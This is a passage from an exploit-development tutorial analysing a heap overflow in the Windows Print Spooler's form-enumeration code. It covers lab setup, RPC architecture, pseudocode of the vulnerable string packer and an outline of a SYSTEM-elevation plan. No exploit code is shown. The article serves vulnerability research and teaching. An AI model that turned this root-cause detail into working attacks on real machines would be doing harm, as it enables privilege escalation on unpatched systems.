

Exploiting Reversing (ER) series | Article 11

Windows: Missing Bounds in the Print Spooler

(a step-by-step exploitation series on Windows, iOS, hypervisors, and others)

by Alexandre Borges
release date: October 20, 2026
revision: A.1

00. Quote

"You are being watched. The government has a secret system, a machine that spies on you every hour of every day. I know because I built it."

(Harold Finch played by the brilliant Michael Emerson | "Person of Interest" - 2011 to 2016)

01. Introduction

Welcome to the eleventh article of Exploiting Reversing (ER) series, a step-by-step exploit development and vulnerability research series on Windows, iOS, hypervisors, and others. Last articles of Exploit Reversing series are listed below:

Primary source:

- All updated articles: <https://www.blackstormsecurity.com/research/>

Secondary source:

- ERS_10: <https://exploitreversing.com/2026/10/06/exploiting-reversing-er-series-article-10/>
- ERS_09: <https://exploitreversing.com/2026/04/28/exploiting-reversing-er-series-article-09/>
- ERS_08: <https://exploitreversing.com/2026/03/31/exploiting-reversing-er-series-article-08/>
- ERS_07: <https://exploitreversing.com/2026/03/04/exploiting-reversing-er-series-article-07/>
- ERS_06: <https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/>
- ERS_05: <https://exploitreversing.com/2025/03/12/exploiting-reversing-er-series-article-05/>
- ERS_04: <https://exploitreversing.com/2025/02/04/exploiting-reversing-er-series-article-04/>
- ERS_03: <https://exploitreversing.com/2025/01/22/exploiting-reversing-er-series-article-03/>
- ERS_02: <https://exploitreversing.com/2024/01/03/exploiting-reversing-er-series-article-02/>
- ERS_01: <https://exploitreversing.com/2023/04/11/exploiting-reversing-er-series/>

This article shows the analysis and exploitation of a non-patched vulnerability on Windows 11, and that Microsoft did not consider an urgent issue. Therefore, the vulnerability is still present on current and updated Windows versions (at least at the moment I have been writing this text), and represents a good opportunity to study exploit development. This time the context involved a userland vulnerability, which initially cannot be exploited by a regular user, so the exploit works locally and by elevating privilege from

Administrator to SYSTEM, without causing serious consequences, and that is the reason that I decided to produce this article because the bug is simple, interesting and it is worth commenting on.

02. Acknowledgments

It's 2026, and even today, there are very few detailed documents on vulnerability research and real-world exploit development. Currently, I have the distinct impression that the era of information sharing is over. In fact, nowadays, we have several new articles per week, but most of them only aim to show the final results, without explaining the entire process from beginning to end, which doesn't help other colleagues to give their own steps in exploitation research. Unfortunately, the willingness to demonstrate the craft of exploit development has diminished due to money and other factors.

A few years ago, when I started authoring articles on malware analysis, vulnerability research, and exploitation, I had a clear decision in mind: I should share information without restrictions because, in the end, this wouldn't prevent me from improving my skills and pursuing my career. As expected, time is a major limitation for writing regularly, but I continue to strive to establish a solid foundation of information that can be valuable to other professionals. As I always remember, I wouldn't have been able to publish these articles without the help of **Ilfak Guilfanov (@ilfak)** and **Hex-Rays SA (@HexRaysSA)**, who have offered me all the necessary support over the years. Finally, research is living in a new era of AI, but nothing replaces our minds, capable of generating unlimited knowledge and solving problems that, at first glance, seem impossible.

**Life may be short, but every moment is worthwhile because people are the best thing in this world.
Enjoy the journey and keep exploiting it!**

03. Lab Infrastructure

Every step presented in this article lives in user mode, so there is no kernel debugging setup, which really simplifies the lab setup. This research spans two machines with two dissimilar roles and keeping them apart is essential to reading every result correctly.

- A Windows 11 Pro machine, OS build 10.0.26200 (26H2), fully updated, which is a mainstream Windows used for static analysis steps such as IDA Pro reversing, decompilation and programming of the injector and payloads. This system carries the mainstream spooler binaries that the root-cause analysis is written against:

Product:	Microsoft Windows 11 Pro
OS build:	10.0.26300 (26H2), mainstream -- analysis only
Platform:	x64
Component:	spoolsv.exe v10.0.26100.7689 (Print Spooler service, runs as SYSTEM)
SHA-256:	86DB35C00D466D467B8B4D096593FC21BEE398AE7F6DC747AAD444B2CA72DA94
Router:	spoolss.dll v10.0.26100.7920
SHA-256:	5C64B7211CBB6BADD47ABF6AEED196E932A9DC0F8381151F01D04D78EAF245DF
Provider:	localspl.dll v10.0.26100.7689

Client lib: winspool.drv (loaded in the CALLER's process, not in spoolsv)

- Two target virtual machines, one per service channel (Canary and mainstream), where every dynamic procedure occurs and part of results in this article is produced. Additionally, the same 16-byte primitive that helps to elevate to SYSTEM on both mainstream production build and Canary build is present and is equal at that point:

Target A | mainstream/production (hostname WIN11R2, 192.168.0.3):

OS build:	10.0.26200.8655 (25H2)		
Platform:	x64		
Component:	spoolsv.exe	v10.0.26100.8875	SHA-256 8C1705AE...D420
Router:	spoolss.dll	v10.0.26100.8521	SHA-256 37A74357...4D6C
Provider:	localspl.dll	v10.0.26100.8875	SHA-256 CA4A0686...92FD

Target B | Canary channel (hostname WININSIDER, 192.168.0.5)

OS build:	10.0.29634.1000		
Platform:	x64		
Component:	spoolsv.exe	v10.0.29634.1000	SHA-256 06F3359A...FAED
Router:	spoolss.dll	v10.0.29634.1000	SHA-256 B9FE27D5...E560
Provider:	localspl.dll	v10.0.29634.1000	SHA-256 9B39BFD0...9494

- To clarify what is presented above on targets. They are not the most recent versions, but are versions that I initially tested the vulnerability, and also worked. The live exploitation has been worked in all versions since them, including the current mainstream Windows 11 26H2 (10.0.26300) and Canary 10.0.29683.1000.
- To examine the root cause, make binary diffing and proceed with reverse engineering analysis, you can also pull a Canary copy of [spoolss.dll](#) / [localspl.dll](#) through [Winbindex](#) (<https://winbindex.m417z.com/>) onto the workstation rather than trying to install the exact version of Windows, which it is a time consuming task.
- IDA Pro or IDA Home (@HexRaysSA): <https://hex-rays.com/ida-pro/>.
- Visual Studio 2022 with the “Desktop development with C++” option, plus the Windows SDK, to compile the injector and the payloads:
 - Visual Studio: <https://visualstudio.microsoft.com/downloads/>
 - Windows SDK: <https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/>
- WinDbg: <https://aka.ms/windbg/download>, or execute: `winget install Microsoft.WinDbg`
- Malwoverview: <https://github.com/alexandreborges/malwoverview> | (to install it) `python -m pip install malwoverview[all]`
- (optional) BinDiff, and optionally Diaphora, for the patch analysis:
 - BinDiff: <https://github.com/google/bindiff/releases>
 - Diaphora: <https://github.com/joxeankoret/diaphora>

04. Introduction

In this article I will be analyzing a user-space target instead of choosing a typical kernel component, which can be as interesting as a driver, for example. This component is the Windows Print Spooler, represented by the service process named spoolsv.exe, and that runs as SYSTEM, hosts an RPC interface, loads a small set of provider modules and it has a long and relevant security history of which PrintNightmare is merely

the most famous episode. However, as expected, it is far from being the unique one, and you can retrieve a list of CVEs by executing the following command:

```
$ malwoverview --nist 4 --NIST "Windows Print Spooler" --ncves 10
```

- ```
[1] CVE ID: CVE-2026-85877
 Status: Analyzed
 Published: 2026-09-08T18:21:13.960
 Last Modified: 2026-09-09T20:15:28.947
 CVSS v3.1: 8.8 (N/A)
 Description:
 Heap-based buffer overflow in Windows Print Spooler Components allows
 an unauthorized attacker to execute code over a network.

[2] CVE ID: CVE-2026-70564
 Status: Analyzed
 Published: 2026-09-08T18:20:08.937
 Last Modified: 2026-09-24T23:18:40.050
 CVSS v3.1: 7.8 (N/A)
 Description:
 Heap-based buffer overflow in Windows Print Spooler Components allows
 an authorized attacker to elevate privileges locally.

[3] CVE ID: CVE-2026-69921
 Status: Analyzed
 Published: 2026-09-08T18:20:02.587
 Last Modified: 2026-09-16T19:07:13.210
 CVSS v3.1: 7.8 (N/A)
 Description:
 Heap-based buffer overflow in Windows Print Spooler Components allows
 an authorized attacker to elevate privileges locally.

[4] CVE ID: CVE-2026-69838
 Status: Analyzed
 Published: 2026-09-08T18:19:55.330
 Last Modified: 2026-09-24T23:18:32.350
 CVSS v3.1: 7.0 (N/A)
 Description:
 Use after free in Windows Print Spooler Components allows an authorized
 attacker to elevate privileges locally.

...
...
```

I recommend, as an alternative way to retrieve a similar list, to execute the following command:

```
$ malwoverview --nist 6 --NIST "Windows Print Spooler" --ncves 10
```

| CVE            | Vendor    | Published  | CVSS       | Description                                     |
|----------------|-----------|------------|------------|-------------------------------------------------|
| CVE-2026-85877 | microsoft | 2026-09-08 | 8.8 HIGH   | Heap-based buffer overflow in Windows Print...  |
| CVE-2026-70564 | microsoft | 2026-09-08 | 7.8 HIGH   | Heap-based buffer overflow in Windows Print...  |
| CVE-2026-69921 | microsoft | 2026-09-08 | 7.8 HIGH   | Heap-based buffer overflow in Windows Print...  |
| CVE-2026-69838 | microsoft | 2026-09-08 | 7.0 HIGH   | Use after free in Windows Print Spooler Comp... |
| CVE-2026-69569 | microsoft | 2026-09-08 | 5.7 MEDIUM | Untrusted pointer dereference in Windows Pri... |
| CVE-2026-69552 | microsoft | 2026-09-08 | 5.7 MEDIUM | Generation of error message containing sensi... |
| CVE-2026-69364 | microsoft | 2026-09-08 | 7.1 HIGH   | Concurrent execution using shared resource w... |
| CVE-2026-69346 | microsoft | 2026-09-08 | 8.0 HIGH   | Heap-based buffer overflow in Windows Print...  |
| CVE-2026-69344 | microsoft | 2026-09-08 | 5.5 MEDIUM | Out-of-bounds read in Windows Print Spooler...  |
| CVE-2026-69309 | microsoft | 2026-09-08 | 7.0 HIGH   | Double free in Windows Print Spooler Compone... |

```
[+] The 10 most recent of 101 CVE(s) found for Windows Print Spooler, ordered by CVE ID. Use --
ncves <number> for more, --ncves 0 for all of them,
--time <years> to bound them by year, or --sort-by published to order them by publication date.
```

[+] Descriptions are truncated to fit the table. Use `--nist 2 --NIST <CVE>` for the full text of any row.

[+] This is a keyword search over CVE descriptions. NVD has no file-level mapping, so a match means the text mentions the component, not that this build is affected.

Going to the point, the bug is a heap buffer overflow (CWE-122), but this time in the spooler's form enumeration path. Its root cause is a pair of missing input validations in the [spoolss!EnumFormsW](#) subroutine, where there is an out-of-bounds write driven by improper input validation, which is a common vulnerability class. As expected, real impact is not a denial of service, but it is arbitrary code execution as SYSTEM (the service runs as system), which results in a full local elevation of privilege. Along the exploitation, the process never even crashes, the final exploit grooms the heap, corrupts exactly the bytes it wants, hijacks a function pointer, runs a payload, and leaves spoolsv.exe alive and well. Curiously (or not), I will use a typical 16-byte primitive to elevate privileges from administrator to SYSTEM on both a mainstream production build and a newer Canary build, resulting in a terminal with SYSTEM privileges being opened.

As everyone knows, I usually do not submit vulnerabilities that are related to exploits to players, but as this vulnerability is only from Administrator to System (and not from a regular user to SYSTEM), so this one I submitted to Microsoft (March 28, 2026), who responded the following:

*“Currently, MSRC prioritizes vulnerabilities that are assessed as “Important” or “Critical” severities for immediate servicing. Administrative privileges are required to run the PoC. No remote PoC is provided that shows this code is reachable as a domain user. After careful investigation, this case has been assessed as not a vulnerability and does not meet\* MSRC’s bar for immediate service. We appreciate your partnership to help secure our customers. This case is now closed.”*

I do not consider it as a problem and, absolutely, no hard feelings because rules are rules, and I never argue with such decisions. I have also notified Microsoft that I would be releasing an article at any moment ahead, and that they would be notified when I published this article. Therefore, as MSRC does not take it as a vulnerability (and actually neither do I), it is a good bug to demonstrate in this series and even to explain exploitation techniques. Anyway, this is a still unpatched elevation of privilege bug that has been present in several Windows releases (mainstream and canary) and works perfectly in the current version. If on one side it is a simple exploit elevating privilege from Administrator to SYSTEM, on the other hand it is still a good example for readers to study and learn.

The elevation of privilege is local and inside the process, performed by a DLL injection into spoolsv, which requires admin + SeDebug privilege. My last test occurred on October 10, 2026, when it was proved that the bug was still there and the exploit was still working.

I quickly (one shot) did a remote test for the first time against a Windows Server 2025 (10.0.26100.33438), with a correct RPC client and a live debugger on the target and, initially, I verified that the overflow is not reachable over RPC. Apparently, the RPC worker adds level validation on the server and caller authorization and MS-RPRN (Microsoft Print System Remote Protocol) transport binds the buffer on the server to the correct number of bytes, so a remote caller cannot present a buffer larger than is declared, and every call with an oversized buffer is rejected by NDR (Network Data Representation) stub of server (returning an [RPC\\_X\\_BAD\\_STUB\\_DATA](#)) before the vulnerable worker runs. Obviously, readers should check it better because, as I said, I tried it only once.

Returning to required initial conditions, the present local PoC injects a DLL into spoolsv.exe, where the DLL injection into a SYSTEM process needs an elevated (High-IL) administrator token that carries SeDebugPrivilege (present, regardless of being enabled or disabled), and we have to be precise about this privilege. It is easy to get the wrong impression and interpret that SeDebugPrivilege is still assigned to the Administrators group by default. Under UAC, it is filtered out of the ordinary medium-integrity admin token and is present only in an elevated one, and even there, it starts disabled and must be enabled via the [AdjustTokenPrivileges](#) function before calling [OpenProcess](#) function.

As expected, I avoid the elevation obstacle by running as the built-in Administrator, whose token is High-IL (High Integrity Level) and SeDebugPrivilege is already present (and not enabled). Existing privileges can be confirmed by running the [whoami /priv](#) command on each machine before injecting. Therefore, and really important, it to be clear that PoC is not runnable by an unprivileged user because DLL injection into the SYSTEM spooler needs SeDebugPrivilege, and a normal user's token does not carry it.

This fact was checked on both mainstream and Canary virtual machines, and confirmed that a given regular account (not administrative) holds a Medium-IL token without having SeDebugPrivilege (only SeShutdown, SeChangeNotify, SeTimeZone, etc.), so it cannot open spoolsv for memory writing and thread creation, which causes the injector to be refused (calling [OpenProcess](#) function resulted in **ERROR\_ACCESS\_DENIED**) before it can act.

On the other hand, it is still not necessary to be Administrator to check the vulnerable code path itself because [EnumForms](#) function is an ordinary, unprivileged printing routine reached over the spooler's RPC endpoint, and the injection serves merely as a substitute for that RPC endpoint which a client does not expose remotely.

## 05. Notes about lab configuration

This article and investigation are based on internals details of spoolsv.exe, which runs as SYSTEM, and thus there are two ways to collect debugging information. One of them is by attaching WinDbg in non-invasive mode ([windbg -pn spoolsv.exe](#)) and, to avoid any later surprises, I recommend you confirm you are attaching to the right process ([Get-Process spoolsv | Select-Object Id, ProcessName, Path](#)). A supplemental or alternative approach is to configure WinDbg as AeDebug debugger via "[windbg -i](#)" command and, once the spoolsv faults (due an unhandled exception), the debugger will pop up at the exact faulting instruction, which keeps context and stack. As expected, if you continue the execution from there, the service will be restarted.

As usual, for every research and investigation on Windows, it is appropriate to setup the public symbols on the workstation (host) you are working and target VM, as shown below:

- `_NT_SYMBOL_PATH=srv*c:\symbols*https://msdl.microsoft.com/download/symbols`

To this target and vulnerability, Microsoft provides symbol for the entire spooler stack such as [spoolsv.exe](#), [spoolss.dll](#), and [localspl.dll](#), which resolve routines such as [EnumFormsW](#), [SplEnumForms](#), [InternalEnumForms](#), [CopyIniFormToFormInfo](#) and internal function named [PackStrings](#). As readers will be learning, I will be using these functions that are directly or indirectly involved to this investigation.

In terms of concepts and tools, as the vulnerability class associated to the incident explained in this article is a heap overflow, it will be important to examine artifacts associated with to heap content and, in special, the user-mode heap for spoolsv.exe process, whose heap is Segment Heap, and also its Variable-Size (VS) heap that is the region of memory where involved chunks are located.

Throughout the reproduction of this case some commands will be useful while WinDbg is attached to spoolsv.exe process, and a few commands are shown below:

|                                                           |                                        |
|-----------------------------------------------------------|----------------------------------------|
| <code>!heap -s</code>                                     | list heaps and their backend           |
| <code>!heap</code>                                        | retrieve a heap summary                |
| <code>dt ntdll!_SEGMENT_HEAP &lt;addr&gt;</code>          | the segment-heap control structure     |
| <code>dt ntdll!_HEAP_VS_CONTEXT ...</code>                | the VS allocator context               |
| <code>dt ntdll!_HEAP_VS_CHUNK_HEADER &lt;chunk&gt;</code> | the 16-byte VS chunk header we corrupt |

We will be handling chunks that are represented by `_HEAP_VS_CHUNK_HEADER` structure, which is directly associated to the stage where we smash the 16-byte VS header of the next chunk (metadata) and then its own data.

There are two non-invasive approaches to confirm which modules and versions are running the target, as shown below:

```
PS C:\> Get-Process | grep -i spoolsv
 469 20 5084 14432 0.78 13852 0 spoolsv
```

```
PS C:\> cdb -pv -p 13852
```

```
Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.
```

```
*** wait with pending attach
```

```
.....
```

```
.....
```

```
Loading unloaded module list
```

```
.....
```

```
(361c.2cac): Wake debugger - code 80000007 (first chance)
```

```
ntdll!NtWaitForSingleObject+0x14:
```

```
00007ff8`74978ec4 c3 ret
```

```
0:000>
```

```
0:000> lm vm localspl
```

| start                                        | end                                    | module name                                               |
|----------------------------------------------|----------------------------------------|-----------------------------------------------------------|
| 00007ff8`48250000                            | 00007ff8`483b7000                      | localspl (deferred)                                       |
| Image path: C:\WINDOWS\System32\localspl.dll |                                        |                                                           |
| Image name: localspl.dll                     |                                        |                                                           |
| Image was built with /Brepro flag.           |                                        |                                                           |
| Timestamp:                                   | 312CF9A4                               | (This is a reproducible build file hash, not a timestamp) |
| Checksum:                                    | 001692A6                               |                                                           |
| ImageSize:                                   | 00167000                               |                                                           |
| File version:                                | 10.0.29683.1000                        |                                                           |
| Product version:                             | 10.0.29683.1000                        |                                                           |
| File flags:                                  | 0 (Mask 3F)                            |                                                           |
| File OS:                                     | 40004 NT Win32                         |                                                           |
| File type:                                   | 2.0 DLL                                |                                                           |
| File date:                                   | 00000000.00000000                      |                                                           |
| Translations:                                | 0409.04b0                              |                                                           |
| Information from resource tables:            |                                        |                                                           |
| CompanyName:                                 | Microsoft Corporation                  |                                                           |
| ProductName:                                 | Microsoft® Windows® Operating System   |                                                           |
| InternalName:                                | localspl.dll                           |                                                           |
| OriginalFilename:                            | localspl.dll                           |                                                           |
| ProductVersion:                              | 10.0.29683.1000                        |                                                           |
| FileVersion:                                 | 10.0.29683.1000 (WinBuild.160101.0800) |                                                           |
| FileDescription:                             | Local Spooler DLL                      |                                                           |

LegalCopyright: © Microsoft Corporation. All rights reserved.

0:000>

0:000> **qd**

PS C:\> **cdb -z C:\Windows\System32\localspl.dll**

Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64

Copyright (c) Microsoft Corporation. All rights reserved.

Loading Dump File [C:\Windows\System32\localspl.dll]

\*\*\*\*\* Path validation summary \*\*\*\*\*

| Response | Time (ms) | Location |
|----------|-----------|----------|
|----------|-----------|----------|

Deferred

srv\*c:\symbols\*https://msdl.microsoft.com/download/symbols

Symbol search path is: srv\*c:\symbols\*https://msdl.microsoft.com/download/symbols

Executable search path is:

ModLoad: 00000001`80000000 00000001`80167000 C:\Windows\System32\localspl.dll

localspl!DllMainCRTStartup:

00000001`800462e0 48895c2408 mov qword ptr [rsp+8],rbx

ss:00000000`00000008=???????????????

0:000> **lm vm localspl**

| start             | end               | module name            |
|-------------------|-------------------|------------------------|
| 00000001`80000000 | 00000001`80167000 | localspl (pdb symbols) |

c:\symbols\localspl.pdb\9A59C0EDCFA2BE66D4045C1B1DFCE7DE1\localspl.pdb

Loaded symbol image file: localspl.dll  
Mapped memory image file: C:\Windows\System32\localspl.dll  
Image path: C:\Windows\System32\localspl.dll  
Image name: localspl.dll  
Image was built with /Brepro flag.  
Timestamp: 312CF9A4 (This is a reproducible build file hash, not a timestamp)  
Checksum: 001692A6  
ImageSize: 00167000  
File version: 10.0.29683.1000

....

....

0:000>

0:000> **qd**

## 06. Foundations: the Windows Print Spooler architecture

This vulnerability involves, directly or indirectly, four files:

- **winspool.drv**: it is the client-side API library, and it is loaded into the address space of any process that calls a printing API, but it is not part of the spooler service. Its role is to marshal a call like **EnumForms** function into an RPC request, and send it to the spooler.
- **spoolsv.exe**: it is Print Spooler Service process, which runs as SYSTEM, and works as the RPC server because it binds to the MS-RPRN interface and receives client requests.
- **spoolss.dll**: it acts as the spooler router, and it is loaded within spoolsv.exe process. A print request does not go directly to device, but it is routed (redirected) to whichever printer provider is responsible for the target. The entry point of this redirector (a kind of router component) is exported as **EnumFormsW** function.
- **localspl.dll**: it acts as the local print provider, which works inside spoolsv.exe. This is the module that actually knows printers from local machine, drivers, ports, and forms. Thus, once the

spoolss.dll detects that a request is local, it is exactly the localspl.dll that does the real work, including the memory copy that will overflow.

There are other providers in this scenario such as:

- [win32spl.dll](#): it redirects the request to remote print servers.
- [inetpp.dll](#): it handles Internet printing, but for our bug it is the local provider that interacts with the caller's buffer.

All three modules (spoolss, spoolsv and localspl) on the server side share the one spoolsv.exe address space and one process default heap, which is the reason why an overflow produced inside localspl can be groomed to land on an object we control (at least, locally).

To try to provide readers with a better sequence, we can think of this exploitation scenario as:

- **Attacker Process (admin + SeDebug)**: winspool.driv (client), where level is checked. It communicates with spoolsv.exe service via RPC.
- **spoolsv.exe (SYSTEM)**: it has three components in its address space:
  - spoolss.dll: acts as a redirector (router).
  - localspl.dll: acts as a provider, and it is where the OOB occurs (via memcpy function).
  - the own process heap (Segment Heap), which is shared and groomable.

The bug (OOB) is located in [InternalEnumForms](#) → [CopyIniFormToFormInfo](#) → [PackStrings](#) → [memcpy](#) function, and as the focus is the form, leaning about its definition can be useful. In Windows print model, a form is a named paper (paper format such as A4, Letter, Legal and other ones) definition, whose dimensions is measured in thousandths of a millimeter.

The spooler allows callers add their own "user" forms, where built-in forms are marked as "FORM\_BUILTIN" and user forms are marked as "FORM\_USER", and this latter one is persistent by the local provider and survive across session until being deleted. Based on these minimal concepts, enumerating forms returns a blob with variable length, which consists of an array of fixed-size records and name strings, whose total size depends on how many forms exist and how long their names are. To make this arrangement possible, [EnumForms](#) function uses a size-negotiation protocol and a routine for string packing, which is the exact mechanisms that overflow abuses. Furthermore, the caller can add a form with a name via [AddForm](#) function, which means that the attacker can control the exact bytes of a string that the enumeration will copy later.

Exposing further details involving a requests for enumerating the forms on the local machine, from the caller to byte copy, which is the same execution path taken by exploit later, we have:

- **caller process**: winspool.driv: EnumFormsW function, which marshals arguments and use RPC to contact spooler.
- **RPC server stub**: RpcEnumForms
- **RPC worker**: spoolsv!YEnumForms
- **local provided entry**: localspl!SplEnumForms
- **form iteration**: localspl!InternalEnumForms
- **structure contact**: localspl!CopyIniFormToFormInfo
- **packing strings**: spoolss!PackStrings / spoolsv!PackStrings

- **target copy:** ucrtbase!memcpy

There is a kind of layering involved with **EnumFormsW** function because it appears in three modules (**winspool.drv**, **spoolss.dll**, **spoolsv.exe**), where each one does its respective job.

Another relevant aspect is that current security checks that lives in **winspool.drv** protects only callers going through this binary and as expected, it does not protect requests coming from a caller who reaches **RpcEnumForms** function any other way. Therefore, a remote system via **\\pipe\\spoolss**, a local process on the **ncalrpc** endpoint or even a code inside **spoolsv** that calls **spoolss!EnumFormW** directly never run touch **winspool.drv** file, so such request is never validated.

The Print System Remote Protocol (MS-RPRN) is the RPC interface exposed by the spooler. Before discussing it in more detail, it is useful to define three relevant terms, two of which were mentioned earlier in this article:

- **RPC (Remote Procedure Call):** a mechanism that allows a caller to invoke a function that runs in another process (or even another machine) as whether it was local. The offered facility is that both caller-side and callee-side are generated from an interface definition.
- **Marshalling:** it is the operation where arguments from a function are packed into a byte stream for transport via network, and unmarshalling is the operation of unpacking such bytes on the other side. The packing data format used for this is NDR (Network Data Representation). Similar to other technologies and programming languages (Java, .NET, and PHP), most bugs are present in the unmarshalling phase.
- **Opnum (operation number):** each function is an RPC interface that has a fixed index. It turns out that the wire request carries the opnum, and the server uses it to select which routine should be run. In other words, it is an array index that is used in a dispatch table.

According to Microsoft Standard Assignments document ([https://learn.microsoft.com/en-us/openspecs/windows\\_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)), the RPC UUID is 12345678-1234-ABCD-EF00-0123456789AB. In general terms, an RPC interface works like a table of functions (maybe methods or operations would be more appropriate words), numbered by an index, which turns out to be the opnum. When a client calls a stub function like **RpcEnumForms**, whose role is enumerating the forms that the specified printer supports, the RPC runtime uses opcode 34 to look it up in the dispatch table of the interface on the server side, call the corresponding server routine, and handle it the unmarshalled arguments.

The communication is something like:

(client sub) **RpcEnumForms** | **opnum = 34** → **data marshalling + send** → **RPC** → (server) **RPC runtime** → **dispatch table [opnum 34]** → **server routine** (it does the data validation)

To list the interface itself, you can execute the following command from impacket tool project:

```
PS C:\> python -m pip install -U impacket
PS C:\> rpcdump.py 'Administrator:Hacker@127.0.0.1' | grep -A5 "Print System Remote Protocol"
Protocol: [MS-RPRN]: Print System Remote Protocol
Provider: spoolsv.exe
UUID : 12345678-1234-ABCD-EF00-0123456789AB v1.0
Bindings:
```

```
ncaLrpc: [LRPC-cbc97152ce6db84b6d]
```

Based on this output, the interface is reachable only over `ncaLrpc` (local RPC, at the same machine). As there is not `ncacn_np` binding for `\pipe\spoolss` or `ncacn_ip_tcp` binding, so no network transport is present, unfortunately. In fact, the system must have the Print Server role before those remote binding appears. The reason for running `rpcdump.py` is to confirm which transport the interface is bound by before spending time on the copy operation. Additionally, and as you will see, the opnums that will be relevant are:

- [Opnum 34 | RpcEnumForms function](#): the enumeration operation whose copy overflows
- [Opnum 30 | RpcAddForm function](#): how we will implant controlled content.

An RPC interface is only reachable through the transports that the server binds. Historically, the spooler connects to the named pipe `\pipe\spoolss`, which is reachable over SMB from the network, and also to a local `ncaLrpc` endpoint. To clarify, `ncacn_np` is RPC carried over a named pipe, reachable remotely over SMB, and `ncaLrpc` is the transport that stays on the local machine and never crosses the network. After exploits releases associated with PrintNightmare (<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), Microsoft hardened the default configuration, and `\pipe\spoolss` is not exposed remotely default. Of course, being reachable does not mean that is exploitable. On Windows 11 client, it offers `ncaLrpc` as transport, and pipe is closed. If you install Windows Server with print role, `\pipe\spoolss` is open.

Throughout this exploitation process, you will notice that nearly every spooler enumeration uses the same mechanism for two calls, and it is where the bug lives and there is a violation of the contract on its interface. The prototype of `EnumFormsW` function follows:

```
BOOL EnumFormsW(
 HANDLE hPrinter, // handle from OpenPrinter
 DWORD Level, // 1 or 2
 LPBYTE pForm, // output buffer (caller-allocated)
 DWORD cbBuf, // size of that buffer, in BYTES
 LPDWORD pcbNeeded, // out: bytes required
 LPDWORD pcReturned); // out: number of forms written
```

This function works like many other ones to find the exact value for `cbBuf`:

- Call with `pForm = NULL` and `cbBuf = 0`. The call will fail with `ERROR_INSUFFICIENT_BUFFER` (122) and write the required size into `pcbNeeded` parameter.
- Allocate exactly the value given by `pcbNeeded` bytes.
- Call the same function again with that buffer and `cbBuf = *pcbNeeded`. This time it succeeds and fills the buffer with `pcReturned` entries.

Everything works well, but evil is in the details. The `cbBuf` parameter is supposed to describe the buffer that `pForm` actually points to. Thus, the server is allowed to trust that if `cbBuf >= needed`, so writing needed bytes into `pForm` is safe, and absolutely nothing bad will occur. Indeed, it apparently works well while nobody opens the box of Schrodinger cat.

The vulnerability is what happens when the caller lies, setting `cbBuf` to two gigabytes (only as example), but `pForm` points at some kilobytes, and the server believes the number instead of the buffer. Crashing would be bad enough, but an attacker can produce a precise "data package" to control where the copy lands.

Another detail associated with [EnumFormsW](#) function is the Level parameter, which selects the output record:

- **Level 1** → FORM\_INFO\_1: 40 bytes per entry on x64
- **Level 2** → FORM\_INFO\_2: 88 bytes per entry on x64

In this article I will use FORM\_INFO\_1, which will be used by the exploit and that also has the following layout:

```
typedef struct _FORM_INFO_1W {
 DWORD Flags;

 LPWSTR pName;
 SIZEL Size;
 RECTL ImageableArea;
} FORM_INFO_1W, *PFORM_INFO_1W;
```

Later, the exploit will read pName (offset +8) to find its own form. FORM\_INFO\_2 extends the record format with pKeyword, StringType, pMuiDll, dwResourceId, pDisplayName, and wLangId, and its size reaches 88 bytes. As it holds more pointer fields, there are more strings that can be attacked. Although, both level are exploitable, even though I have used Level 1 due to its simplicity.

If readers pay attention closely, you will see that the most essential fact is that each record contains a pointer to a string of variable length, which is the reason for the output not to be a flat array, so a packing routine exist to handle it, and it is in this context that [PackStrings](#) routine enters the game.

A form has a name, which is a string of variable length, so the output buffer cannot be just "count \* sizeof(FORM\_INFO\_1)", and the spooler solves this problem with a convention used throughout its code based, implemented by [PackStrings](#) (an internal function), and where the packer works like the code below:

```
// dst = caller buffer (pForm)
// cbBuf = caller-declared size
// pEnd = dst + cbBuf the "back" of the buffer
// records written from the FRONT (dst) upward
// strings written from the BACK (pEnd) downward

for each form f (front to back):
 write the 40-byte FORM_INFO_1 record at the current front cursor
 len = (wcslen(f.name) + 1) * sizeof(WCHAR)
 pEnd -= len // carve string space off the back
 memcpy(pEnd, f.name, len) // the write that overflows
 record.pName = pEnd // fix up the pointer to the packed copy
```

In this article, two facts about design are essential to exploit:

- The string region is positioned relative to dst + cbBuf buffer and not relative to the real allocation. Once we inflate cbBuf and pEnd move to a higher address, so the entire string block "slides" toward higher addresses, which may be out of the buffer and into whatever adjacent chunk in the heap. Not surprisingly, the server never checks whether pEnd is still inside the limit of the real allocation.
- The [PackStrings](#) function copies are the form names, which are the same ones that we see when we print something such as Letter, Legal, A4 and other ones. This form names are controlled by a called adding a customized form and, from our exploitation perspective, [PackStrings](#) can be used as a primitive that copy bytes to a controlled address.

Later, when we read the crash stack, the faulting instruction will be `ucrtbase!memcpy` function and it is called exactly by `PackStrings` function, which copies a string at the back of the buffer, and crosses to the adjacent chunk on the heap. As readers should remember last articles in this series, Windows memory management will have crucial importance once again, and in special the Segment Heap.

About `PackStrings` function itself, its behavior is worth mentioning because it records forward (starting from `pForm`), but name strings are recorded backward (correctly sized buffer), which seems like:

- (pForm) `rec0 rec1 rec2.....<free gap>..... A4\0 Legal\0 Letter\0` (pEnd -- packed strings)

Therefore, our content channel to trigger the attack is `AddForm` function, no doubt, and its prototype provides with some directions:

```
BOOL AddFormW(HANDLE hPrinter, DWORD Level, LPBYTE pForm); // pForm points to FORM_INFO_1
```

The `pName` attribute from each `FORM_INFO_1` record (check the pseudo code previously presented) points to its name in the back region shown above. Later, this same `pName` parameter is handed back by `EnumForms` function and copied by `PackStrings` function. There is not any restriction associated with Form names content (Unicode strings), and when we use `AddFormW` function, it injects arbitrary bytes into the buffer that `PackStrings` overflow.

